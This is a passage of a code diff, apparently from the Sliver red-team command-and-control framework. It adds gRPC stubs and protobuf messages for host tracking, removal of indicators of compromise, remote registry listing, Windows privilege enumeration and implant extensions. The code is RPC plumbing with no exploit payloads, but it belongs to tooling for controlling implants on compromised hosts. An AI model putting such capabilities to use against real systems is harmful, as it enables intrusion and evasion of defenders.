LootAllOf(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
|
||||
// *** Hosts ***
|
||||
Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error)
|
||||
Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error)
|
||||
HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
@@ -114,8 +119,15 @@ type SliverRPCClient interface {
|
||||
RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error)
|
||||
RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error)
|
||||
RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error)
|
||||
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
|
||||
ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error)
|
||||
// *** Wireguard Specific ***
|
||||
WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
|
||||
WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
|
||||
@@ -340,6 +352,42 @@ func (c *sliverRPCClient) LootAllOf(ctx context.Context, in *clientpb.Loot, opts
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) {
|
||||
out := new(clientpb.AllHosts)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) {
|
||||
out := new(clientpb.Host)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
|
||||
out := new(clientpb.Generate)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...)
|
||||
@@ -880,6 +928,24 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) {
|
||||
out := new(sliverpb.RegistrySubKeyList)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error) {
|
||||
out := new(sliverpb.RegistryValuesList)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListValues", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) {
|
||||
out := new(sliverpb.SSHCommand)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...)
|
||||
@@ -898,6 +964,42 @@ func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackR
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error) {
|
||||
out := new(sliverpb.GetPrivs)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPrivs", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
out := new(sliverpb.RegisterExtension)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) {
|
||||
out := new(sliverpb.CallExtension)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) {
|
||||
out := new(sliverpb.ListExtensions)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
|
||||
out := new(sliverpb.WGPortForward)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
|
||||
@@ -1085,6 +1187,11 @@ type SliverRPCServer interface {
|
||||
LootContent(context.Context, *clientpb.Loot) (*clientpb.Loot, error)
|
||||
LootAll(context.Context, *commonpb.Empty) (*clientpb.AllLoot, error)
|
||||
LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error)
|
||||
// *** Hosts ***
|
||||
Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error)
|
||||
Host(context.Context, *clientpb.Host) (*clientpb.Host, error)
|
||||
HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error)
|
||||
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
|
||||
Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
|
||||
@@ -1148,8 +1255,15 @@ type SliverRPCServer interface {
|
||||
RegistryRead(context.Context, *sliverpb.RegistryReadReq) (*sliverpb.RegistryRead, error)
|
||||
RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error)
|
||||
RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error)
|
||||
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
|
||||
CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
|
||||
ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error)
|
||||
// *** Wireguard Specific ***
|
||||
WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
|
||||
WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
|
||||
@@ -1239,6 +1353,18 @@ func (UnimplementedSliverRPCServer) LootAll(context.Context, *commonpb.Empty) (*
|
||||
func (UnimplementedSliverRPCServer) LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method LootAllOf not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Hosts not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Host(context.Context, *clientpb.Host) (*clientpb.Host, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Host not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HostRm not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HostIOCRm not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
|
||||
}
|
||||
@@ -1419,12 +1545,30 @@ func (UnimplementedSliverRPCServer) RegistryWrite(context.Context, *sliverpb.Reg
|
||||
func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegistryCreateKey not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegistryListSubKeys not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegistryListValues not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method CallExtension not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ListExtensions not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
|
||||
}
|
||||
@@ -1870,6 +2014,78 @@ func _SliverRPC_LootAllOf_Handler(srv interface{}, ctx context.Context, dec func
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Hosts(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Hosts",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.Host)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Host(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Host",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.Host)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).HostRm(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/HostRm",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.IOC)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).HostIOCRm(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/HostIOCRm",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.GenerateReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -2950,6 +3166,42 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context,
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RegistrySubKeyListReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/RegistryListSubKeys",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, req.(*sliverpb.RegistrySubKeyListReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RegistryListValuesReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).RegistryListValues(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/RegistryListValues",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).RegistryListValues(ctx, req.(*sliverpb.RegistryListValuesReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.SSHCommandReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -2986,6 +3238,78 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.GetPrivsReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).GetPrivs(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/GetPrivs",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).GetPrivs(ctx, req.(*sliverpb.GetPrivsReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RegisterExtensionReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).RegisterExtension(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/RegisterExtension",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.CallExtensionReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).CallExtension(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/CallExtension",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ListExtensionsReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ListExtensions(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ListExtensions",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.WGPortForwardStartReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3308,6 +3632,22 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "LootAllOf",
|
||||
Handler: _SliverRPC_LootAllOf_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Hosts",
|
||||
Handler: _SliverRPC_Hosts_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Host",
|
||||
Handler: _SliverRPC_Host_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "HostRm",
|
||||
Handler: _SliverRPC_HostRm_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "HostIOCRm",
|
||||
Handler: _SliverRPC_HostIOCRm_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Generate",
|
||||
Handler: _SliverRPC_Generate_Handler,
|
||||
@@ -3548,6 +3888,14 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "RegistryCreateKey",
|
||||
Handler: _SliverRPC_RegistryCreateKey_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RegistryListSubKeys",
|
||||
Handler: _SliverRPC_RegistryListSubKeys_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RegistryListValues",
|
||||
Handler: _SliverRPC_RegistryListValues_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RunSSHCommand",
|
||||
Handler: _SliverRPC_RunSSHCommand_Handler,
|
||||
@@ -3556,6 +3904,22 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "HijackDLL",
|
||||
Handler: _SliverRPC_HijackDLL_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetPrivs",
|
||||
Handler: _SliverRPC_GetPrivs_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RegisterExtension",
|
||||
Handler: _SliverRPC_RegisterExtension_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "CallExtension",
|
||||
Handler: _SliverRPC_CallExtension_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ListExtensions",
|
||||
Handler: _SliverRPC_ListExtensions_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "WGStartPortForward",
|
||||
Handler: _SliverRPC_WGStartPortForward_Handler,
|
||||
|
||||
@@ -242,6 +242,23 @@ const (
|
||||
|
||||
// MsgSSHCommandReq - Run a SSH command
|
||||
MsgSSHCommandReq
|
||||
|
||||
// MsgGetPrivsReq - Get privileges (Windows)
|
||||
MsgGetPrivsReq
|
||||
|
||||
// MsgRegistryListReq - List registry sub keys
|
||||
MsgRegistrySubKeysListReq
|
||||
|
||||
// MsgRegistryListValuesReq - List registry values
|
||||
MsgRegistryListValuesReq
|
||||
// MsgRegisterExtensionReq - Register a new extension
|
||||
MsgRegisterExtensionReq
|
||||
|
||||
// MsgCallExtensionReq - Run an extension command
|
||||
MsgCallExtensionReq
|
||||
|
||||
// MsgListExtensionsReq - List loaded extensions
|
||||
MsgListExtensionsReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -464,6 +481,22 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgPollInterval
|
||||
case *SSHCommandReq:
|
||||
return MsgSSHCommandReq
|
||||
|
||||
case *GetPrivsReq:
|
||||
return MsgGetPrivsReq
|
||||
case *RegistrySubKeyListReq:
|
||||
return MsgRegistrySubKeysListReq
|
||||
case *RegistryListValuesReq:
|
||||
return MsgRegistryListValuesReq
|
||||
|
||||
case *RegisterExtensionReq:
|
||||
return MsgRegisterExtensionReq
|
||||
|
||||
case *CallExtensionReq:
|
||||
return MsgCallExtensionReq
|
||||
|
||||
case *ListExtensionsReq:
|
||||
return MsgListExtensionsReq
|
||||
}
|
||||
|
||||
return uint32(0)
|
||||
|
||||
+2138
-978
File diff suppressed because it is too large.
Load diff
@@ -120,6 +120,8 @@ message Ls {
|
||||
string Path = 1;
|
||||
bool Exists = 2;
|
||||
repeated FileInfo Files = 3;
|
||||
string timezone = 4;
|
||||
int32 timezoneOffset = 5;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -128,6 +130,8 @@ message FileInfo {
|
||||
string Name = 1;
|
||||
bool IsDir = 2;
|
||||
int64 Size = 3;
|
||||
int64 ModTime = 4;
|
||||
string Mode = 5;
|
||||
}
|
||||
|
||||
message CdReq {
|
||||
@@ -190,6 +194,7 @@ message UploadReq {
|
||||
string Path = 1;
|
||||
string Encoder = 2;
|
||||
bytes Data = 3;
|
||||
bool IsIOC = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -559,6 +564,32 @@ message RegistryCreateKey {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message RegistrySubKeyListReq {
|
||||
string Hive = 1;
|
||||
string Path = 2;
|
||||
// Keep the same ID as the other registry operations
|
||||
string Hostname = 4;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message RegistrySubKeyList {
|
||||
repeated string Subkeys = 1;
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message RegistryListValuesReq {
|
||||
string Hive = 1;
|
||||
string Path = 2;
|
||||
// Keep the same ID as the other registry operations
|
||||
string Hostname = 4;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message RegistryValuesList {
|
||||
repeated string ValueNames = 1;
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// Tunnel - Tunnel related messages
|
||||
message Tunnel {
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
@@ -782,5 +813,67 @@ message DllHijackReq {
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message GetPrivsReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message WindowsPrivilegeEntry {
|
||||
string Name = 1;
|
||||
string Description = 2;
|
||||
bool Enabled = 3;
|
||||
bool EnabledByDefault = 4;
|
||||
bool Removed = 5;
|
||||
